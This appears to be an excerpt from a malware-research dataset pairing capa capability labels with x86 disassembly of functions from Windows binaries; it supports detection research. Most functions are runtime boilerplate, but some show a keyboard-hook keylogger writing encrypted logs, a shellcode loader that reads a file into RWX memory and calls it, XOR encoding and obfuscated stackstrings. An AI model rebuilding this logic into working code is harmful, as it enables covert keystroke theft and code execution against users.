joyce8/EMBER2024-capa huggingface dataset:
Function at 0x653d2070
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x653ddaa8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x653d2094
add eax, 8
inc ebp
cmp eax, 0x653ddb38
jb 0x653d2085
cmp ecx, dword [ebp*8 + 0x653ddaa8]
jne 0x653d223b
mov eax, dword [0x653e0ef0]
cmp eax, 1
je 0x653d21fd
test eax, eax
jne 0x653d20c0
cmp dword [0x653e0ef4], 1
je 0x653d21fd
cmp ecx, 0xfc
je 0x653d223b
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x653d20fb
mov ecx, 5
mov esi, 0x653c3184
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x653d2144
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x653c3088
add ebx, ecx
push ebx
call fcn.653d33f0
add esp, 0xc
mov ecx, 6
mov esi, 0x653c3448
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x653c3080
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x653c313c
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + str._4_e_b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.653d3180
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x653e13a0]
test eax, eax
je 0x653d220e
mov esi, dword [eax + 0x48]
cmp esi, 0xffffffff
jne 0x653d2218
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + str._4_e_b]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x653d59a0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x41c
push ebx
mov ebx, dword [esp + 0x42c]
push ebp
xor ebp, ebp
push esi
cmp ebx, ebp
push edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x20], ebp
jne 0x653d59cc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x430]
mov eax, ecx
sar eax, 5
lea edi, [eax*4 + 0x653e13a0]
mov eax, ecx
and eax, 0x1f
mov dword [esp + 0x24], edi
mov edx, dword [edi]
lea esi, [eax + eax*8]
shl esi, 2
mov dword [esp + 0x14], esi
test byte [esi + edx + 4], 0x20
je 0x653d5a07
push 2
push ebp
push ecx
call fcn.653d6df0
add esp, 0xc
mov eax, dword [edi]
add eax, esi
test byte [eax + 4], 0x80
je 0x653d5b69
mov ebp, dword [esp + 0x434]
mov dword [esp + 0x18], 0
test ebx, ebx
mov edi, ebp
jbe 0x653d5ab1
lea eax, [esp + 0x28]
mov ecx, edi
sub ecx, ebp
cmp ecx, ebx
jae 0x653d5a62
mov cl, byte [edi]
inc edi
cmp cl, 0xa
jne 0x653d5a4f
mov esi, dword [esp + 0x20]
mov byte [eax], 0xd
inc esi
inc eax
mov dword [esp + 0x20], esi
mov byte [eax], cl
inc eax
mov edx, eax
lea ecx, [esp + 0x28]
sub edx, ecx
cmp edx, 0x400
jl 0x653d5a32
mov esi, eax
lea edx, [esp + 0x28]
lea eax, [esp + 0x1c]
sub esi, edx
mov edx, dword [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x30]
mov eax, dword [edx]
push esi
push ecx
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + eax]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x653d5b5a
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add edx, eax
cmp eax, esi
mov dword [esp + 0x10], edx
jl 0x653d5aad
mov eax, edi
sub eax, ebp
cmp eax, ebx
jb 0x653d5a2e
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x653d5b49
mov eax, dword [esp + 0x18]
test eax, eax
je 0x653d5b05
cmp eax, 5
jne 0x653d5aee
call fcn.653d5c70
mov dword [eax], 9
call fcn.653d5c80
mov dword [eax], 5
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
push eax
call fcn.653d5bf0
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
test byte [esi + edx + 4], 0x40
je 0x653d5b25
cmp byte [ebp], 0x1a
jne 0x653d5b25
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
call fcn.653d5c70
mov dword [eax], 0x1c
call fcn.653d5c80
mov dword [eax], 0
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
add esp, 0x41c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x653d5aad
mov edx, dword [eax]
lea ecx, [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x438]
push ecx
push ebx
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x653d5b9a
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], eax
jmp 0x653d5ab1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x653d5ab1
Function at 0x653d7560
Capabilities:
Set environment variable

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x653d771e
push 0x3d
push edi
call fcn.653d8fa0
mov esi, eax
add esp, 8
test esi, esi
je 0x653d771e
cmp edi, esi
je 0x653d771e
mov dl, byte [esi + 1]
mov ecx, dword [0x653e0f24]
xor eax, eax
test dl, dl
sete al
mov ebp, eax
mov eax, dword [0x653e0f20]
cmp eax, ecx
jne 0x653d75b7
push eax
call fcn.653d77f0
add esp, 4
mov dword [0x653e0f20], eax
test eax, eax
jne 0x653d7632
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x653d75de
mov eax, dword [0x653e0f28]
test eax, eax
je 0x653d75de
call fcn.653d5800
test eax, eax
je 0x653d762d
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
test ebp, ebp
je 0x653d75ea
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 4
call fcn.653d0b40
add esp, 4
mov dword [0x653e0f20], eax
test eax, eax
je 0x653d771e
mov dword [eax], 0
mov eax, dword [0x653e0f28]
test eax, eax
jne 0x653d762d
push 4
call fcn.653d0b40
add esp, 4
mov dword [0x653e0f28], eax
test eax, eax
je 0x653d771e
mov dword [eax], 0
mov eax, dword [0x653e0f20]
mov ebx, eax
mov eax, esi
sub eax, edi
push eax
push edi
mov dword [esp + 0x18], eax
call fcn.653d7770
mov esi, eax
add esp, 8
test esi, esi
jl 0x653d772f
cmp dword [ebx], 0
je 0x653d772f
test ebp, ebp
je 0x653d7727
mov ecx, dword [ebx + esi*4]
lea edi, [ebx + esi*4]
push ecx
call fcn.653d03a0
mov eax, dword [edi]
add esp, 4
test eax, eax
je 0x653d7689
mov eax, edi
mov edx, dword [eax + 4]
add eax, 4
mov dword [edi], edx
inc esi
mov ecx, dword [eax]
mov edi, eax
test ecx, ecx
jne 0x653d7678
lea eax, [esi*4]
push eax
push ebx
call fcn.653d0c10
add esp, 8
test eax, eax
je 0x653d76a3
mov dword [0x653e0f20], eax
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x653d7716
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
inc ecx
push ecx
call fcn.653d0b40
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x653d7716
mov edi, dword [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [esp + 0x10]
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
neg ebp
rep movsb byte es:[edi], byte [esi]
sbb ebp, ebp
mov byte [ebx + eax], 0
lea eax, [ebx + eax + 1]
not ebp
and ebp, eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
call fcn.653d03a0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov dword [ebx + esi*4], edi
jmp 0x653d76a7
test ebp, ebp
jne 0x653d7716
test esi, esi
jge 0x653d7739
neg esi
lea ecx, [esi*4 + 8]
push ecx
push ebx
call fcn.653d0c10
add esp, 8
test eax, eax
je 0x653d771e
mov dword [eax + esi*4], edi
mov dword [eax + esi*4 + 4], 0
mov dword [0x653e0f20], eax
jmp 0x653d76a7
Function at 0x653da7a0
Capabilities:
Get geographical location

Disassembly:
mov eax, dword [0x653e12b8]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push edi
test eax, eax
jne 0x653da7e8
push 0
push 0
push 1
push 0
call esi
test eax, eax
je 0x653da7c8
mov eax, 2
jmp 0x653da7e3
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x653da8c8
mov eax, 1
mov dword [0x653e12b8], eax
cmp eax, 2
jne 0x653da808
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 1
jne 0x653da8da
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x653da823
mov ecx, dword [0x653e1230]
mov dword [esp + 0x24], ecx
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push 0
push 0
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov edi, eax
test edi, edi
jne 0x653da842
pop edi
pop esi
pop ebp
pop ebx
ret
lea edx, [edi + edi]
push edx
call fcn.653d0b40
mov esi, eax
add esp, 4
test esi, esi
jne 0x653da859
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push esi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x653da8bf
mov eax, dword [esp + 0x20]
push 0
test eax, eax
push 0
jne 0x653da8a0
mov eax, dword [esp + 0x2c]
push 0
push 0
push 0xffffffffffffffff
push esi
push 0x220
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x653da8bf
push esi
call fcn.653d03a0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x2c]
push eax
push ecx
push 0xffffffffffffffff
push esi
push 0x220
push edx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jne 0x653da8cf
push esi
call fcn.653d03a0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call fcn.653d03a0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40208b
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push 0
push 2
push 0x404052
push 0x404044
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
jne 0x402103
mov byte [0x404067], al
push 0x404067
push 0x404070
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
cmp eax, 1
jne 0x402103
call fcn.00403535
push edx
mov eax, eax
push 0
push 2
push 0x404052
push 0x404054
call dword [sym.imp.Winmm.dll_mciSendStringA]
pop edx
add edx, eax
push edx
push 2
push 0x404069
push 0x404070
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
pop edx
add dl, byte [0x404069]
add edx, 0x100
call edx
xor eax, eax
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403570
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push 0x40
push ebx
push eax
call dword [sym.imp.kernel32.dll_VirtualProtect]
ret
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov dword [ebp - 0x19], 0x616e7964
mov dword [ebp - 0x15], 0x5f63696d
mov dword [ebp - 0x11], 0x64656573
mov byte [ebp - 0xd], 0
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0xc], 0
jmp 0x4014fa
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
lea esi, [edx + eax]
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x19]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov eax, ebx
mov edx, 0
div ecx
mov eax, edx
movzx eax, byte [ebp + eax - 0x19]
mov ebx, eax
call sym._rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov eax, edx
add eax, ebx
mov byte [esi], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xf
jle 0x40149e
nop
add esp, 0x30
pop ebx
pop esi
pop ebp
ret

Function at 0x401552
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1128
call fcn.00402380
sub esp, eax
mov dword [esp + 0xc], 0x40fa40
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x100c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._encrypt_logs
call sym._rand
mov ecx, eax
mov edx, 0x14f8b589
mov eax, ecx
imul edx
sar edx, 0xd
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x186a0
sub ecx, eax
mov eax, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.C:WindowsTemp_d.log
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x1110]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [esp + 4], 0x40b07b
lea eax, [ebp - 0x1110]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40161b
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x100c]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
nop
leave
ret
Function at 0x40161e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
cmp dword [ebp + 8], 0
jne 0x4016d7
cmp dword [ebp + 0xc], 0x100
jne 0x4016d7
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
shl eax, 0x10
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._GetKeyNameTextA_12
sub esp, 0xc
test eax, eax
jle 0x4016d7
mov eax, dword [0x40e020]
mov edx, 0x1000
mov ecx, edx
sub ecx, eax
mov eax, dword [0x40e020]
lea edx, [eax + 0x40ea40]
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40b07e
mov dword [esp + 4], ecx
mov dword [esp], edx
call sym.___mingw_snprintf
mov edx, eax
mov eax, dword [0x40e020]
add eax, edx
mov dword [0x40e020], eax
mov eax, dword [0x40e020]
cmp eax, 0x800
jbe 0x4016d7
mov eax, dword [0x40e020]
mov dword [esp + 4], eax
mov dword [esp], 0x40ea40
call sym._write_logs_to_file
mov dword [0x40e020], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CallNextHookEx_16
sub esp, 0x10
leave
ret 0xc

Function at 0x4016ff
Capabilities:
Log keystrokes via application hook
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], sym._keyboard_hook_proc_12
mov dword [esp], 0xd
call sym._SetWindowsHookExA_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401790
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x24
mov dword [esp + 4], 1
mov dword [esp], str.Error:_Unable_to_set_keyboard_hook._n
call sym._fwrite
mov dword [esp], 1
call sym._exit
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._DispatchMessageA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._GetMessageA_16
sub esp, 0x10
test eax, eax
jne 0x401774
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._UnhookWindowsHookEx_4
sub esp, 4
nop
leave
ret
Function at 0x401e40
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e048
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e040]
sub esp, 4
test ebx, ebx
je 0x401e8b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401e84
test esi, esi
je 0x401e84
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e60
mov dword [esp], 0x40e048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402070
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4020c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402198
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4020fe
cmp eax, 4
jne 0x402120
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40210e
cmp edx, 4
je 0x40210e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402070
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
mov esi, 0x10002044
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001223
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x40145c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push esi
push 4
push esi
mov dword [ebp - 4], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
cmp ebx, esi
je 0x4014b9
push edi
push esi
push esi
push esi
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, esi
je 0x4014b1
push dword [ebp + 0xc]
push dword [ebp - 4]
push edi
call fcn.004013bf
add esp, 0xc
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4014bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov byte [ebp - 4], 0x13
mov byte [ebp - 3], 0x35
mov byte [ebp - 2], 0x86
mov byte [ebp - 1], 7
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebx
call fcn.0041b768
mov esi, eax
pop ecx
test esi, esi
je 0x40150d
xor edx, edx
test ebx, ebx
jbe 0x40150d
sub edi, esi
mov eax, edx
lea ecx, [edx + esi]
and eax, 3
mov al, byte [ebp + eax - 4]
xor al, byte [edi + ecx]
inc edx
cmp edx, ebx
mov byte [ecx], al
jb 0x4014f7
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4028a3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebx, 0x40fffffc
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00402035
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00401fea
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
invalid